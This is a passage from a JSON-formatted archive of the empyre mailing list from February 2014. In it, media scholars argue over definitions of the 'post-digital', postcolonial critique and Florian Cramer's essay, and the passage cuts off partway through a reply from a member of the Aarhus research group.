commercialized.\"\n>>\n>> I'm curious about the emphasis here on the experiential, rather than\n>> the conceptual. Why emphasize one over the other in this way? What\n>> works or practices did the group have in mind? In a weird way, this\n>> description actually reminds me of something like relational\n>> aesthetics.\n>>\n>> --\n>> Michael Dieter\n>> Lecturer\n>> Media Studies\n>> The University of Amsterdam\n>> Turfdraagsterpad 9\n>> 1012 XT Amsterdam\n>> http://home.medewerker.uva.nl/m.j.dieter/\n>> _______________________________________________\n>> empyre forum\n>> empyre at lists.cofa.unsw.edu.au\n>> http://www.subtle.net/empyre\n>>\n>\n>\n>\n> --\n>\n> Renate Ferro\n> Visiting Assistant Professor of Art,\n> (contracted since 2004)\n> Cornell University\n> Department of Art, Tjaden Hall Office:  306\n> Ithaca, NY  14853\n> Email:   <rferro at cornell.edu <rtf9 at cornell.edu>>\n> URL:  http://www.renateferro.net\n>       http://www.privatesecretspubliclies.net\n> Lab:  http://www.tinkerfactory.net\n>\n> Managing Co-moderator of -empyre- soft skinned space\n> http://empyre.library.cornell.edu/\n>\n>\n> _______________________________________________\n> empyre forum\n> empyre at lists.cofa.unsw.edu.au\n> http://www.subtle.net/empyre\n>\n>\n\n\n-- \nmicha c\u00e1rdenas\n\nhttp://michacardenas.org\nhttp://twitter.com/michacardenas\nhttp://femmedisturbance.tumblr.com\n\nInternational Trans Women of Color Network Gathering\nJune 19, 2014, Detroit, Allied Media Conference\n\nhttps://twitter.com/twocamc\nhttp://international-twoc-gathering.tumblr.com/\nhttps://www.facebook.com/international.twoc.gathering\n-------------- next part --------------\nAn HTML attachment was scrubbed...\nURL: <http://lists.cofa.unsw.edu.au/pipermail/empyre/attachments/20140209/e8e04fba/attachment.htm>\n",
                                "date": "Mon Feb 10 08:21:27 EST 2014",
                                "message-id": "6929",
                                "url": "http://lists.cofa.unsw.edu.au/pipermail/empyre/2014-February/006929.html",
                                "content-type": "n/a",
                                "author_name": "micha c\u00e1rdenas",
                                "subject": "[-empyre-] empyre Digest, Vol 111, Issue 5"
                            },
                            {
                                "from": "M.J.Dieter at uva.nl",
                                "id": "6927",
                                "content": "Renate Ferro <rtf9 at cornell.edu> wrote:\n> ----------empyre- soft-skinned space----------------------\n> Michael just a quick question.  Do you have a quick link to the Post-Digital Research Group?\n> and their publications?\n\nProbably should have linked to it again (it was in a couple of earlier\nposts). Definition is from here: http://www.aprja.net/?page_id=1291 It\nwas collectively articulated at the workshop in Aarhus, I believe.\n\n\n-- \nMichael Dieter\nLecturer\nMedia Studies\nThe University of Amsterdam\nTurfdraagsterpad 9\n1012 XT Amsterdam\nhttp://home.medewerker.uva.nl/m.j.dieter/\n",
                                "date": "Mon Feb 10 09:16:27 EST 2014",
                                "message-id": "6927",
                                "url": "http://lists.cofa.unsw.edu.au/pipermail/empyre/2014-February/006927.html",
                                "content-type": "n/a",
                                "author_name": "Michael Dieter",
                                "subject": "[-empyre-] empyre Digest, Vol 111, Issue 5"
                            }
                        ],
                        "subject": "[-empyre-] empyre Digest, Vol 111, Issue 5"
                    },
                    {
                        "author_name": "micha c\u00e1rdenas",
                        "from": "mmcarden at usc.edu",
                        "id": "6925",
                        "content": "Thanks for an interesting discussion topic this month!\n\nI agree with your assessment that this limited configuration of the\npost-digital is already divorced from any real politics of difference or\nantagonism and so yes it is similar to relational aesthetics. In contrast,\nmy own formulation of the post digital, which I presented at the\nTransmediale phd symposium in 2012 is centered in queer and trans women of\ncolor's political and aesthetic practices. The horizon for the post-digital\nisn't hipsters, reddit and google, as in Florian Cramer's essay \"What is\npost-digital?\", it is a reconsideration of thought and communication\noutside of the bounds of western conceptions of knowledge and rationality.\n\nYou can read an essay version of what I presented at the #BWPWAP\ntransmediale symposium here, where I list a few examples of aesthetic works\nthat may be understood as post-digital:\n\nhttp://median.newmediacaucus.org/caa-conference-edition-2013/local-autonomy-networks-post-digital-networks-post-corporate-communications/\n\n(a short version is in the 2013 edition of APRJA:\nhttp://www.aprja.net/?page_id=46)\n\nand a video of me giving this as a keynote at the Dark Side of the Digital\nconference is here:\n\nhttp://transreal.org/talks-and-interviews/\n\nThe writers for the post-digital research issue of APRJA articulate\nconceptions of politics that completely fail to address the importance of\nmoving on from western systems of knowledge that are embodied in the\ndigital, which is unsurprising considering their own apparent subject\npositions. For example, in The Archive and the Repertoire, Diana Taylor has\nwritten extensively on the ways that colonial regimes insisted on writing\nas the only legitimate form of knowledge as a way to disempower colonized\nsubjects, and digital systems of storage reproduce that hierarchy by\neschewing embodied and emotional knowledge that is not reproducible through\ndigital media.\n\nthank you,\n\n  micha\n\n\n\n\n\n\nOn Sun, Feb 9, 2014 at 1:44 PM, Michael Dieter <M.J.Dieter at uva.nl> wrote:\n\n> ----------empyre- soft-skinned space----------------------\n> Something else I want to ask about.\n>\n> This is the definition that the Post-Digital Research group settled on\n> for their publication:\n>\n> \"Post-digital, once understood as a critical reflection of \"digital\"\n> aesthetic immaterialism, now describes the messy and paradoxical\n> condition of art and media after digital technology revolutions.\n> \"Post-digital\" neither recognizes the distinction between \"old\" and\n> \"new\" media, nor ideological affirmation of the one or the other. It\n> merges \"old\" and \"new\", often applying network cultural\n> experimentation to analog technologies which it re-investigates and\n> re-uses. It tends to focus on the experiential rather than the\n> conceptual. It looks for DIY agency outside totalitarian innovation\n> ideology, and for networking off big data capitalism. At the same\n> time, it already has become commercialized.\"\n>\n> I'm curious about the emphasis here on the experiential, rather than\n> the conceptual. Why emphasize one over the other in this way? What\n> works or practices did the group have in mind? In a weird way, this\n> description actually reminds me of something like relational\n> aesthetics.\n>\n> --\n> Michael Dieter\n> Lecturer\n> Media Studies\n> The University of Amsterdam\n> Turfdraagsterpad 9\n> 1012 XT Amsterdam\n> http://home.medewerker.uva.nl/m.j.dieter/\n> _______________________________________________\n> empyre forum\n> empyre at lists.cofa.unsw.edu.au\n> http://www.subtle.net/empyre\n>\n\n\n\n-- \nmicha c\u00e1rdenas\n\nhttp://michacardenas.org\nhttp://twitter.com/michacardenas\nhttp://femmedisturbance.tumblr.com\n\nInternational Trans Women of Color Network Gathering\nJune 19, 2014, Detroit, Allied Media Conference\n\nhttps://twitter.com/twocamc\nhttp://international-twoc-gathering.tumblr.com/\nhttps://www.facebook.com/international.twoc.gathering\n-------------- next part --------------\nAn HTML attachment was scrubbed...\nURL: <http://lists.cofa.unsw.edu.au/pipermail/empyre/attachments/20140209/c2e13d72/attachment.htm>\n",
                        "date": "Mon Feb 10 08:03:06 EST 2014",
                        "message-id": "6925",
                        "url": "http://lists.cofa.unsw.edu.au/pipermail/empyre/2014-February/006925.html",
                        "content-type": "n/a",
                        "follow-up": [
                            {
                                "author_name": "Florian Cramer",
                                "from": "flrncrmr at gmail.com",
                                "id": "6928",
                                "content": "Micha,\n\nI'm taking great issue with this summary of my text. It is greatly\ndistorted. If you had read it carefully, you would have seen that it\nactually refers to postcolonialism.\n\nBtw., your categorical split between \"digital\" and \"embodied\" knowledge is\nas Cartesian and Western as I can get. What's even worse, by attributing\nthe latter to non-Western culture, it's producing a highly stereotypical\nimage of Non-Western cultures and systems of knowledge. I recommend to read\nup, among others, on Ron Eglash's ethnomathematics (or any history of\nmathematics, for that matter).\n\nFlorian\n\n\nOn Sun, Feb 9, 2014 at 10:03 PM, micha c\u00e1rdenas <mmcarden at usc.edu> wrote:\n\n> ----------empyre- soft-skinned space----------------------\n> Thanks for an interesting discussion topic this month!\n>\n> I agree with your assessment that this limited configuration of the\n> post-digital is already divorced from any real politics of difference or\n> antagonism and so yes it is similar to relational aesthetics. In contrast,\n> my own formulation of the post digital, which I presented at the\n> Transmediale phd symposium in 2012 is centered in queer and trans women of\n> color's political and aesthetic practices. The horizon for the post-digital\n> isn't hipsters, reddit and google, as in Florian Cramer's essay \"What is\n> post-digital?\", it is a reconsideration of thought and communication\n> outside of the bounds of western conceptions of knowledge and rationality.\n>\n> You can read an essay version of what I presented at the #BWPWAP\n> transmediale symposium here, where I list a few examples of aesthetic works\n> that may be understood as post-digital:\n>\n>\n> http://median.newmediacaucus.org/caa-conference-edition-2013/local-autonomy-networks-post-digital-networks-post-corporate-communications/\n>\n> (a short version is in the 2013 edition of APRJA:\n> http://www.aprja.net/?page_id=46)\n>\n> and a video of me giving this as a keynote at the Dark Side of the Digital\n> conference is here:\n>\n> http://transreal.org/talks-and-interviews/\n>\n> The writers for the post-digital research issue of APRJA articulate\n> conceptions of politics that completely fail to address the importance of\n> moving on from western systems of knowledge that are embodied in the\n> digital, which is unsurprising considering their own apparent subject\n> positions. For example, in The Archive and the Repertoire, Diana Taylor has\n> written extensively on the ways that colonial regimes insisted on writing\n> as the only legitimate form of knowledge as a way to disempower colonized\n> subjects, and digital systems of storage reproduce that hierarchy by\n> eschewing embodied and emotional knowledge that is not reproducible through\n> digital media.\n>\n> thank you,\n>\n>   micha\n>\n>\n>\n>\n>\n>\n> On Sun, Feb 9, 2014 at 1:44 PM, Michael Dieter <M.J.Dieter at uva.nl> wrote:\n>\n>> ----------empyre- soft-skinned space----------------------\n>> Something else I want to ask about.\n>>\n>> This is the definition that the Post-Digital Research group settled on\n>> for their publication:\n>>\n>> \"Post-digital, once understood as a critical reflection of \"digital\"\n>> aesthetic immaterialism, now describes the messy and paradoxical\n>> condition of art and media after digital technology revolutions.\n>> \"Post-digital\" neither recognizes the distinction between \"old\" and\n>> \"new\" media, nor ideological affirmation of the one or the other. It\n>> merges \"old\" and \"new\", often applying network cultural\n>> experimentation to analog technologies which it re-investigates and\n>> re-uses. It tends to focus on the experiential rather than the\n>> conceptual. It looks for DIY agency outside totalitarian innovation\n>> ideology, and for networking off big data capitalism. At the same\n>> time, it already has become commercialized.\"\n>>\n>> I'm curious about the emphasis here on the experiential, rather than\n>> the conceptual. Why emphasize one over the other in this way? What\n>> works or practices did the group have in mind? In a weird way, this\n>> description actually reminds me of something like relational\n>> aesthetics.\n>>\n>> --\n>> Michael Dieter\n>> Lecturer\n>> Media Studies\n>> The University of Amsterdam\n>> Turfdraagsterpad 9\n>> 1012 XT Amsterdam\n>> http://home.medewerker.uva.nl/m.j.dieter/\n>> _______________________________________________\n>> empyre forum\n>> empyre at lists.cofa.unsw.edu.au\n>> http://www.subtle.net/empyre\n>>\n>\n>\n>\n> --\n> micha c\u00e1rdenas\n>\n> http://michacardenas.org\n> http://twitter.com/michacardenas\n> http://femmedisturbance.tumblr.com\n>\n> International Trans Women of Color Network Gathering\n> June 19, 2014, Detroit, Allied Media Conference\n>\n> https://twitter.com/twocamc\n> http://international-twoc-gathering.tumblr.com/\n> https://www.facebook.com/international.twoc.gathering\n>\n>\n> _______________________________________________\n> empyre forum\n> empyre at lists.cofa.unsw.edu.au\n> http://www.subtle.net/empyre\n>\n-------------- next part --------------\nAn HTML attachment was scrubbed...\nURL: <http://lists.cofa.unsw.edu.au/pipermail/empyre/attachments/20140209/c3bdb866/attachment.htm>\n",
                                "date": "Mon Feb 10 08:49:29 EST 2014",
                                "message-id": "6928",
                                "url": "http://lists.cofa.unsw.edu.au/pipermail/empyre/2014-February/006928.html",
                                "content-type": "n/a",
                                "follow-up": [
                                    {
                                        "from": "mmcarden at usc.edu",
                                        "id": "6930",
                                        "content": "Hi Florian, thanks for your reply.\n\nIn your essay \"What is Post-Digital\", I did see your discussion of the\npostcolonial, which seems to be a very short part of your essay which\ndoesn't discuss any of the gendered, racialized violences of colonialism.\nYour discussion of the postcolonial is:\n\n\"Postcolonialism does not mean the end of colonialism akin to Hegel's and\nFukuyama's \"end of history\", but quite on the contrary its transformation\ninto less clearly visible power structures that are still in place, have\nleft their mark on languages and cultures, and most importantly still\ngovern geopolitics and global production chains. In this sense, the\npost-digital condition is the post-apocalyptic condition after the\ncomputerization and global digital networking of communication, technical\ninfrastructures, markets and geopolitics.\"\n\nand you conclude the essay with:\n\n\"If post-digital cultures are made up of, metaphorically speaking,\npostcolonial practices in a communications world taken over by the\nmilitary-industrial complex of only a handful of global players, then it\ncan most simply be described as mental opposition to phenomena like Ray\nKurzweil's and Google's Singularity University, the Quantified Self\nmovement, sensor-controlled \"Smart Cities\" and similar dystopian techno\nutopias.\n\nNevertheless, Silicon Valley utopias and post-digital subcultures (whether\nin Detroit, Rotterdam or elsewhere) have more in common than it might seem.\nBoth are driven by fictions of\nagency.8<http://post-digital.projects.cavi.dk/?p=599#fn8>\n There's a fiction of agency over one's body in the 'digital' Quantified\nSelf movement, a fiction of the self-made in the 'post-digital' DIY and\nMaker movements, a fiction of a more intimate working with media in\n'analog' handmade film labs and mimeograph cooperatives. They stand for two\noptions of agency, over-identification with systems or skepticism towards\nthem. Each of them is, in their own way, symptomatic of system crisis. It\nis not a crisis of one or the other system but a crisis of the very\nparadigm of \"system\" and its legacy from cybernetics. It's a legacy which\n(starting with their mere names) neither \"digital\", nor \"post-digital\"\nsucceed to leave behind.\"\n\nI still hold that your configuration does not address the gendered and\nracialized forms of difference that underlie the logic of colonialism and\nwhich find their expression in western conceptions such as individuality\nand objectivity that lead to boolean logic and digital computing. Your\nessay seems to eschew any political possibility for the post-digital in\nyour concluding sentence. If I'm misreading it, I would appreciate your\nclarification.\n\nI'm not generalizing about non-western cultures, my apologies if my post\nsounded like that. I mentioned Diana Taylor's book the Archive and the\nRepertoire as one example, where she specifically discusses the Spanish\nconquest of the Aztecs, Mayas and Incas. Let me cite her more thoroughly to\nelaborate more on what I meant and not imply any simple separation that\nmight be described as cartesian:\n\n\"Although the Aztecs, Mayas and Incas practiced writing before the\nConquest- either in pictogram form, heiroglyphs, or knotting systems- it\nnever replaced the performed utterance... What changed with the Conquest\nwas not that writing displaced embodied practice (we need only remember\nthat the friars brought their own embodied practices) but the degree of\nlegitimization of writing over other epistemic and mnemonic systems.\nWriting now assured that Power, with a capital P, as Rama puts it, could be\ndeveloped and enforced without the input of the great majority of the\npopulation, the indigenous and marginal populations of the colonial period\nwithout access to systematic writing.\"\n\nI haven't read Eglash's work, thanks for recommending it, I'll check it\nout.\n\ncheers,\n\n  micha\n\n\n\n\n\nOn Sun, Feb 9, 2014 at 4:49 PM, Florian Cramer <flrncrmr at gmail.com> wrote:\n\n> ----------empyre- soft-skinned space----------------------\n>\n> Micha,\n>\n> I'm taking great issue with this summary of my text. It is greatly\n> distorted. If you had read it carefully, you would have seen that it\n> actually refers to postcolonialism.\n>\n> Btw., your categorical split between \"digital\" and \"embodied\" knowledge is\n> as Cartesian and Western as I can get. What's even worse, by attributing\n> the latter to non-Western culture, it's producing a highly stereotypical\n> image of Non-Western cultures and systems of knowledge. I recommend to read\n> up, among others, on Ron Eglash's ethnomathematics (or any history of\n> mathematics, for that matter).\n>\n> Florian\n>\n>\n> On Sun, Feb 9, 2014 at 10:03 PM, micha c\u00e1rdenas <mmcarden at usc.edu> wrote:\n>\n>> ----------empyre- soft-skinned space----------------------\n>> Thanks for an interesting discussion topic this month!\n>>\n>> I agree with your assessment that this limited configuration of the\n>> post-digital is already divorced from any real politics of difference or\n>> antagonism and so yes it is similar to relational aesthetics. In contrast,\n>> my own formulation of the post digital, which I presented at the\n>> Transmediale phd symposium in 2012 is centered in queer and trans women of\n>> color's political and aesthetic practices. The horizon for the post-digital\n>> isn't hipsters, reddit and google, as in Florian Cramer's essay \"What is\n>> post-digital?\", it is a reconsideration of thought and communication\n>> outside of the bounds of western conceptions of knowledge and rationality.\n>>\n>> You can read an essay version of what I presented at the #BWPWAP\n>> transmediale symposium here, where I list a few examples of aesthetic works\n>> that may be understood as post-digital:\n>>\n>>\n>> http://median.newmediacaucus.org/caa-conference-edition-2013/local-autonomy-networks-post-digital-networks-post-corporate-communications/\n>>\n>> (a short version is in the 2013 edition of APRJA:\n>> http://www.aprja.net/?page_id=46)\n>>\n>> and a video of me giving this as a keynote at the Dark Side of the\n>> Digital conference is here:\n>>\n>> http://transreal.org/talks-and-interviews/\n>>\n>> The writers for the post-digital research issue of APRJA articulate\n>> conceptions of politics that completely fail to address the importance of\n>> moving on from western systems of knowledge that are embodied in the\n>> digital, which is unsurprising considering their own apparent subject\n>> positions. For example, in The Archive and the Repertoire, Diana Taylor has\n>> written extensively on the ways that colonial regimes insisted on writing\n>> as the only legitimate form of knowledge as a way to disempower colonized\n>> subjects, and digital systems of storage reproduce that hierarchy by\n>> eschewing embodied and emotional knowledge that is not reproducible through\n>> digital media.\n>>\n>> thank you,\n>>\n>>   micha\n>>\n>>\n>>\n>>\n>>\n>>\n>> On Sun, Feb 9, 2014 at 1:44 PM, Michael Dieter <M.J.Dieter at uva.nl> wrote:\n>>\n>>> ----------empyre- soft-skinned space----------------------\n>>> Something else I want to ask about.\n>>>\n>>> This is the definition that the Post-Digital Research group settled on\n>>> for their publication:\n>>>\n>>> \"Post-digital, once understood as a critical reflection of \"digital\"\n>>> aesthetic immaterialism, now describes the messy and paradoxical\n>>> condition of art and media after digital technology revolutions.\n>>> \"Post-digital\" neither recognizes the distinction between \"old\" and\n>>> \"new\" media, nor ideological affirmation of the one or the other. It\n>>> merges \"old\" and \"new\", often applying network cultural\n>>> experimentation to analog technologies which it re-investigates and\n>>> re-uses. It tends to focus on the experiential rather than the\n>>> conceptual. It looks for DIY agency outside totalitarian innovation\n>>> ideology, and for networking off big data capitalism. At the same\n>>> time, it already has become commercialized.\"\n>>>\n>>> I'm curious about the emphasis here on the experiential, rather than\n>>> the conceptual. Why emphasize one over the other in this way? What\n>>> works or practices did the group have in mind? In a weird way, this\n>>> description actually reminds me of something like relational\n>>> aesthetics.\n>>>\n>>> --\n>>> Michael Dieter\n>>> Lecturer\n>>> Media Studies\n>>> The University of Amsterdam\n>>> Turfdraagsterpad 9\n>>> 1012 XT Amsterdam\n>>> http://home.medewerker.uva.nl/m.j.dieter/\n>>> _______________________________________________\n>>> empyre forum\n>>> empyre at lists.cofa.unsw.edu.au\n>>> http://www.subtle.net/empyre\n>>>\n>>\n>>\n>>\n>> --\n>> micha c\u00e1rdenas\n>>\n>> http://michacardenas.org\n>> http://twitter.com/michacardenas\n>> http://femmedisturbance.tumblr.com\n>>\n>> International Trans Women of Color Network Gathering\n>> June 19, 2014, Detroit, Allied Media Conference\n>>\n>> https://twitter.com/twocamc\n>> http://international-twoc-gathering.tumblr.com/\n>> https://www.facebook.com/international.twoc.gathering\n>>\n>>\n>> _______________________________________________\n>> empyre forum\n>> empyre at lists.cofa.unsw.edu.au\n>> http://www.subtle.net/empyre\n>>\n>\n>\n> _______________________________________________\n> empyre forum\n> empyre at lists.cofa.unsw.edu.au\n> http://www.subtle.net/empyre\n>\n>\n\n\n-- \nmicha c\u00e1rdenas\n\nhttp://michacardenas.org\nhttp://twitter.com/michacardenas\nhttp://femmedisturbance.tumblr.com\n\nInternational Trans Women of Color Network Gathering\nJune 19, 2014, Detroit, Allied Media Conference\n\nhttps://twitter.com/twocamc\nhttp://international-twoc-gathering.tumblr.com/\nhttps://www.facebook.com/international.twoc.gathering\n-------------- next part --------------\nAn HTML attachment was scrubbed...\nURL: <http://lists.cofa.unsw.edu.au/pipermail/empyre/attachments/20140209/eefea2b3/attachment.htm>\n",
                                        "date": "Mon Feb 10 10:35:10 EST 2014",
                                        "message-id": "6930",
                                        "url": "http://lists.cofa.unsw.edu.au/pipermail/empyre/2014-February/006930.html",
                                        "content-type": "n/a",
                                        "author_name": "micha c\u00e1rdenas",
                                        "subject": "[-empyre-] empyre Digest, Vol 111, Issue 5"
                                    },
                                    {
                                        "from": "mmcarden at usc.edu",
                                        "id": "6931",
                                        "content": "I also want to add that, yes, of course my reply was cartesian, using a\ndigital system, addressing you as an individual and using the word I to\nrefer to myself. I see decolonization as a long project and its possible\nimplications for our thinking as a far away horizon, yet one still worth\nworking towards.\n\nthanks all,\n\n  micha\n\n\n\n\nOn Sun, Feb 9, 2014 at 6:35 PM, micha c\u00e1rdenas <mmcarden at usc.edu> wrote:\n\n> Hi Florian, thanks for your reply.\n>\n> In your essay \"What is Post-Digital\", I did see your discussion of the\n> postcolonial, which seems to be a very short part of your essay which\n> doesn't discuss any of the gendered, racialized violences of colonialism.\n> Your discussion of the postcolonial is:\n>\n> \"Postcolonialism does not mean the end of colonialism akin to Hegel's and\n> Fukuyama's \"end of history\", but quite on the contrary its transformation\n> into less clearly visible power structures that are still in place, have\n> left their mark on languages and cultures, and most importantly still\n> govern geopolitics and global production chains. In this sense, the\n> post-digital condition is the post-apocalyptic condition after the\n> computerization and global digital networking of communication, technical\n> infrastructures, markets and geopolitics.\"\n>\n> and you conclude the essay with:\n>\n> \"If post-digital cultures are made up of, metaphorically speaking,\n> postcolonial practices in a communications world taken over by the\n> military-industrial complex of only a handful of global players, then it\n> can most simply be described as mental opposition to phenomena like Ray\n> Kurzweil's and Google's Singularity University, the Quantified Self\n> movement, sensor-controlled \"Smart Cities\" and similar dystopian techno\n> utopias.\n>\n> Nevertheless, Silicon Valley utopias and post-digital subcultures (whether\n> in Detroit, Rotterdam or elsewhere) have more in common than it might seem.\n> Both are driven by fictions of agency.8<http://post-digital.projects.cavi.dk/?p=599#fn8>\n>  There's a fiction of agency over one's body in the 'digital' Quantified\n> Self movement, a fiction of the self-made in the 'post-digital' DIY and\n> Maker movements, a fiction of a more intimate working with media in\n> 'analog' handmade film labs and mimeograph cooperatives. They stand for two\n> options of agency, over-identification with systems or skepticism towards\n> them. Each of them is, in their own way, symptomatic of system crisis. It\n> is not a crisis of one or the other system but a crisis of the very\n> paradigm of \"system\" and its legacy from cybernetics. It's a legacy which\n> (starting with their mere names) neither \"digital\", nor \"post-digital\"\n> succeed to leave behind.\"\n>\n> I still hold that your configuration does not address the gendered and\n> racialized forms of difference that underlie the logic of colonialism and\n> which find their expression in western conceptions such as individuality\n> and objectivity that lead to boolean logic and digital computing. Your\n> essay seems to eschew any political possibility for the post-digital in\n> your concluding sentence. If I'm misreading it, I would appreciate your\n> clarification.\n>\n> I'm not generalizing about non-western cultures, my apologies if my post\n> sounded like that. I mentioned Diana Taylor's book the Archive and the\n> Repertoire as one example, where she specifically discusses the Spanish\n> conquest of the Aztecs, Mayas and Incas. Let me cite her more thoroughly to\n> elaborate more on what I meant and not imply any simple separation that\n> might be described as cartesian:\n>\n> \"Although the Aztecs, Mayas and Incas practiced writing before the\n> Conquest- either in pictogram form, heiroglyphs, or knotting systems- it\n> never replaced the performed utterance... What changed with the Conquest\n> was not that writing displaced embodied practice (we need only remember\n> that the friars brought their own embodied practices) but the degree of\n> legitimization of writing over other epistemic and mnemonic systems.\n> Writing now assured that Power, with a capital P, as Rama puts it, could be\n> developed and enforced without the input of the great majority of the\n> population, the indigenous and marginal populations of the colonial period\n> without access to systematic writing.\"\n>\n> I haven't read Eglash's work, thanks for recommending it, I'll check it\n> out.\n>\n> cheers,\n>\n>   micha\n>\n>\n>\n>\n>\n> On Sun, Feb 9, 2014 at 4:49 PM, Florian Cramer <flrncrmr at gmail.com> wrote:\n>\n>> ----------empyre- soft-skinned space----------------------\n>>\n>> Micha,\n>>\n>> I'm taking great issue with this summary of my text. It is greatly\n>> distorted. If you had read it carefully, you would have seen that it\n>> actually refers to postcolonialism.\n>>\n>> Btw., your categorical split between \"digital\" and \"embodied\" knowledge\n>> is as Cartesian and Western as I can get. What's even worse, by attributing\n>> the latter to non-Western culture, it's producing a highly stereotypical\n>> image of Non-Western cultures and systems of knowledge. I recommend to read\n>> up, among others, on Ron Eglash's ethnomathematics (or any history of\n>> mathematics, for that matter).\n>>\n>> Florian\n>>\n>>\n>> On Sun, Feb 9, 2014 at 10:03 PM, micha c\u00e1rdenas <mmcarden at usc.edu> wrote:\n>>\n>>> ----------empyre- soft-skinned space----------------------\n>>>\n>>> Thanks for an interesting discussion topic this month!\n>>>\n>>> I agree with your assessment that this limited configuration of the\n>>> post-digital is already divorced from any real politics of difference or\n>>> antagonism and so yes it is similar to relational aesthetics. In contrast,\n>>> my own formulation of the post digital, which I presented at the\n>>> Transmediale phd symposium in 2012 is centered in queer and trans women of\n>>> color's political and aesthetic practices. The horizon for the post-digital\n>>> isn't hipsters, reddit and google, as in Florian Cramer's essay \"What is\n>>> post-digital?\", it is a reconsideration of thought and communication\n>>> outside of the bounds of western conceptions of knowledge and rationality.\n>>>\n>>> You can read an essay version of what I presented at the #BWPWAP\n>>> transmediale symposium here, where I list a few examples of aesthetic works\n>>> that may be understood as post-digital:\n>>>\n>>>\n>>> http://median.newmediacaucus.org/caa-conference-edition-2013/local-autonomy-networks-post-digital-networks-post-corporate-communications/\n>>>\n>>> (a short version is in the 2013 edition of APRJA:\n>>> http://www.aprja.net/?page_id=46)\n>>>\n>>> and a video of me giving this as a keynote at the Dark Side of the\n>>> Digital conference is here:\n>>>\n>>> http://transreal.org/talks-and-interviews/\n>>>\n>>> The writers for the post-digital research issue of APRJA articulate\n>>> conceptions of politics that completely fail to address the importance of\n>>> moving on from western systems of knowledge that are embodied in the\n>>> digital, which is unsurprising considering their own apparent subject\n>>> positions. For example, in The Archive and the Repertoire, Diana Taylor has\n>>> written extensively on the ways that colonial regimes insisted on writing\n>>> as the only legitimate form of knowledge as a way to disempower colonized\n>>> subjects, and digital systems of storage reproduce that hierarchy by\n>>> eschewing embodied and emotional knowledge that is not reproducible through\n>>> digital media.\n>>>\n>>> thank you,\n>>>\n>>>   micha\n>>>\n>>>\n>>>\n>>>\n>>>\n>>>\n>>> On Sun, Feb 9, 2014 at 1:44 PM, Michael Dieter <M.J.Dieter at uva.nl>wrote:\n>>>\n>>>> ----------empyre- soft-skinned space----------------------\n>>>> Something else I want to ask about.\n>>>>\n>>>> This is the definition that the Post-Digital Research group settled on\n>>>> for their publication:\n>>>>\n>>>> \"Post-digital, once understood as a critical reflection of \"digital\"\n>>>> aesthetic immaterialism, now describes the messy and paradoxical\n>>>> condition of art and media after digital technology revolutions.\n>>>> \"Post-digital\" neither recognizes the distinction between \"old\" and\n>>>> \"new\" media, nor ideological affirmation of the one or the other. It\n>>>> merges \"old\" and \"new\", often applying network cultural\n>>>> experimentation to analog technologies which it re-investigates and\n>>>> re-uses. It tends to focus on the experiential rather than the\n>>>> conceptual. It looks for DIY agency outside totalitarian innovation\n>>>> ideology, and for networking off big data capitalism. At the same\n>>>> time, it already has become commercialized.\"\n>>>>\n>>>> I'm curious about the emphasis here on the experiential, rather than\n>>>> the conceptual. Why emphasize one over the other in this way? What\n>>>> works or practices did the group have in mind? In a weird way, this\n>>>> description actually reminds me of something like relational\n>>>> aesthetics.\n>>>>\n>>>> --\n>>>> Michael Dieter\n>>>> Lecturer\n>>>> Media Studies\n>>>> The University of Amsterdam\n>>>> Turfdraagsterpad 9\n>>>> 1012 XT Amsterdam\n>>>> http://home.medewerker.uva.nl/m.j.dieter/\n>>>> _______________________________________________\n>>>> empyre forum\n>>>> empyre at lists.cofa.unsw.edu.au\n>>>> http://www.subtle.net/empyre\n>>>>\n>>>\n>>>\n>>>\n>>> --\n>>> micha c\u00e1rdenas\n>>>\n>>> http://michacardenas.org\n>>> http://twitter.com/michacardenas\n>>> http://femmedisturbance.tumblr.com\n>>>\n>>> International Trans Women of Color Network Gathering\n>>> June 19, 2014, Detroit, Allied Media Conference\n>>>\n>>> https://twitter.com/twocamc\n>>> http://international-twoc-gathering.tumblr.com/\n>>> https://www.facebook.com/international.twoc.gathering\n>>>\n>>>\n>>> _______________________________________________\n>>> empyre forum\n>>> empyre at lists.cofa.unsw.edu.au\n>>> http://www.subtle.net/empyre\n>>>\n>>\n>>\n>> _______________________________________________\n>> empyre forum\n>> empyre at lists.cofa.unsw.edu.au\n>> http://www.subtle.net/empyre\n>>\n>>\n>\n>\n> --\n> micha c\u00e1rdenas\n>\n> http://michacardenas.org\n> http://twitter.com/michacardenas\n> http://femmedisturbance.tumblr.com\n>\n> International Trans Women of Color Network Gathering\n> June 19, 2014, Detroit, Allied Media Conference\n>\n> https://twitter.com/twocamc\n> http://international-twoc-gathering.tumblr.com/\n> https://www.facebook.com/international.twoc.gathering\n>\n>\n\n\n-- \nmicha c\u00e1rdenas\n\nhttp://michacardenas.org\nhttp://twitter.com/michacardenas\nhttp://femmedisturbance.tumblr.com\n\nInternational Trans Women of Color Network Gathering\nJune 19, 2014, Detroit, Allied Media Conference\n\nhttps://twitter.com/twocamc\nhttp://international-twoc-gathering.tumblr.com/\nhttps://www.facebook.com/international.twoc.gathering\n-------------- next part --------------\nAn HTML attachment was scrubbed...\nURL: <http://lists.cofa.unsw.edu.au/pipermail/empyre/attachments/20140209/f1918b2e/attachment.htm>\n",
                                        "date": "Mon Feb 10 10:41:17 EST 2014",
                                        "message-id": "6931",
                                        "url": "http://lists.cofa.unsw.edu.au/pipermail/empyre/2014-February/006931.html",
                                        "content-type": "n/a",
                                        "author_name": "micha c\u00e1rdenas",
                                        "subject": "[-empyre-] empyre Digest, Vol 111, Issue 5"
                                    },
                                    {
                                        "from": "robertjackson3900 at gmail.com",
                                        "id": "6936",
                                        "content": "Micha, everyone...\n\nAs someone who worked as part of the Aarhus post-digital writing group, I'd\nlike to also address your remarks.\n\nPoint 1:\n\n<The writers for the post-digital research issue of APRJA articulate\nconceptions of politics that completely fail to address the importance of\nmoving on from western systems of knowledge that are embodied in the\ndigital, which is unsurprising considering their own apparent subject\npositions.>\n\nThis is profoundly untrue and thunderously misguided. Had you attended the\nworkshop in October, you would have found that we addressed western\nconceptions of rationality and knowledge at some length and with great\ncare. Echoing Florian's comments, it's not as if we all thought the terms\n'post-digital' or even 'the digital' were anything but messy and\npolitically ambiguous: the context of that process appears to have been\nreinterpreted as some sort of pro-Western manifesto, rather than a\nresearcher workshop or a tongue-in-cheek operationalisation of digital\nprinciples/defintions.\n\nIn any case, our contributions - both online and for transmediale - remain\nunpublished, so if you want to aim your critique, aim it at the finished\nAPRJA journal when it arrives: not at a moving target.\n\n\nPoint 2:\n\nAs per your rejoinder to Florian's point: <I still hold that your\nconfiguration does not address the gendered and racialized forms 